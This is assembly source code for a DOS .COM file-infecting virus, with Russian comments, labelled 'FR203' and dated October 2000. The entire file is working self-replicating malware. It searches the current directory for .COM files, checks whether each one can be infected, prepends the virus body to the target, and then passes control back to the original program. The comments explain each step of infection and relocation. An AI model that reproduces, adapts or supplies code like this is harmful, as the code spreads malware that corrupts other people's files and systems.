; FR203 - 30го октября 2000 г. .model small .code org 0100H START: call NEXT_SEGMENT ; сдвиг кода 64Кб выше call SEARCH ; поиски файлов-мишеней jc EXEC_PRGM ; нету..., исполнение программы call INFECT_FILE ; есть! заражение файла EXEC_PRGM: mov di,100H ; смещение прогаммы как было до mov si,OFFSET PRGM_START ; заражения на своем старом месте mov ax,ss ; ss еще указывает нижный сегмент mov ds,ax ; так помещаем es указать тоже там mov es,ax push ax ; и сохраняем адрес возврата для push di ; retf mov cx,sp ; в cx количество байтов, которые sub cx,OFFSET PRGM_START ; надо переписать rep movsb ; смещение прораммы на месте retf ; и передача ей контроля ; часть программы сдвиг кода 64Kб выше, где вирус будет работать, он ; помещает все указатели сегментов, чтобы указать там, затем перемещает DTA ; туда, к офсету 80H в PSP. NEXT_SEGMENT: mov ax,ds ; ds = указатель настоящего сегмента add ax,1000H mov es,ax ; es = указывает следующий сегмент mov si,100H mov di,si ; di и si = офсет начало прогаммы mov cx,OFFSET PRGM_START - 100H; cx = количество байтов, необходимые rep movsb ; переписать в слеующий сегмент mov ds,ax ; ds тоже указывает следующий сегмент mov ah,1AH mov dx,80H ; смещение DTA на офсет 80H int 21H ; следующего сегмента pop ax ; обработка стека для того, чтобы push es ; адрес возврата будет адресом push ax ; следующего сегмента (для команды retf ; "return far") ; часть программы, которая разыскивает файлы .COM (флаг c = 0 : нашла, ; c = 1 : нету). SEARCH: mov dx,OFFSET COM_FILTER ; помещаем в dx смещение маски файлов mov ah,4EH ; поиск функцией SEARCH FIRST xor cx,cx ; cx = 0 : все файлы SEARCH_LOOP: int 21H jc END_SEARCH ; нет файла : конец поиска call ANALYSE_FILE ; можно ли заразать? jc SEARCH_NEXT ; нет : попробуем другой END_SEARCH: ret ; да : давай заражаем ! SEARCH_NEXT: mov ah,4FH ; поиск функцией SEARCH NEXT jmp SEARCH_LOOP ; и.т.д... COM_FILTER DB '*.com',0 ; маска для поиска файлов .COM ; часть программы, которая проверяет, можно ли действительно и без опасности ; заражать файл : ; - можно ли открывать файл ? ; - размер файла + код вируса + стек + PSP должен быть меньше 64Кб, ; - не надо заражать настояший файл .EXE, спрятанный под названием .COM, ; - файл не должен быть уже заражен. ; ; после проверки, флаг c = 1 в этих случаях, а флаг c = 0 когда можно ; заражать, тогда файл открытый, настоящая длина в регистре dx и хэндлер ; в регистре bx. ANALYSE_FILE: mov dx,9EH ; офсет имени файла в DTA mov ax,3D02H ; пытаемся открыть файл (R/W) int 21H jc BAD_OUT ; нельзя : выход, c = 1 mov bx,ax ; хэндлер открытого файла в bx mov ax,4202H ; указатель в конце файла xor cx,cx xor dx,dx int 21H ; dx:ax = длина файла jc CLOSE_FILE ; ошибка ? выход, c = 1 mov cx,ax ; длина файла в cx add ax,OFFSET PRGM_START ; добавить длину PSP и вируса и cmp ax,0FF00H ; программы и еще 256 байтов для стека ja BAD_OUT ; >= 64 Кб ? да : выход, c = 1 push cx ; сохраняем длину файла в стеке mov ax,4200H ; указатель в начале файла xor cx,cx xor dx,dx int 21H pop cx push cx mov ah,3FH ; приготовить читать файл mov dx,OFFSET PRGM_START int 21H pop dx ; dx = длина файла jc CLOSE_FILE ; неудачно ? выход, c = 1 mov si,100H mov di,OFFSET PRGM_START ; контроль 64 первых байтов для mov cx,40H ; проверки, заражен файл или нет repz cmpsw jz CLOSE_FILE ; уже заражен, выход, c = 1 cmp WORD PTR cs:[PRGM_START],'zm' ; спрятанный файл .EXE ? jz CLOSE_FILE ; да..., выход, c = 1 clc ; все в порядке, c = 0 ret ; выход CLOSE_FILE: mov ah,3eh ; закрыть файл int 21H BAD_OUT: stc ; с = 1 ret ; выход ; часть программы, которая заражает соответствующий файл .COM INFECT_FILE: push dx ; настоящая длина файла в стеке mov ax,4200H ; указатель в начале файла xor cx,cx xor dx,dx int 21H pop cx ; cx = настоящая длина файла add cx,OFFSET PRGM_START - 100H; добавить длину вируса mov dx,100H mov ah,40h ; написать зараженный файл int 21H mov ah,3EH ; затем закрывать его int 21H ret ; выход ; начало настоящей программы ; а сейчас это фиктивная программа, которая только передает контроль ; к ДОСу PRGM_START: mov ax,4C00H ; выход к ДОСу int 21H end START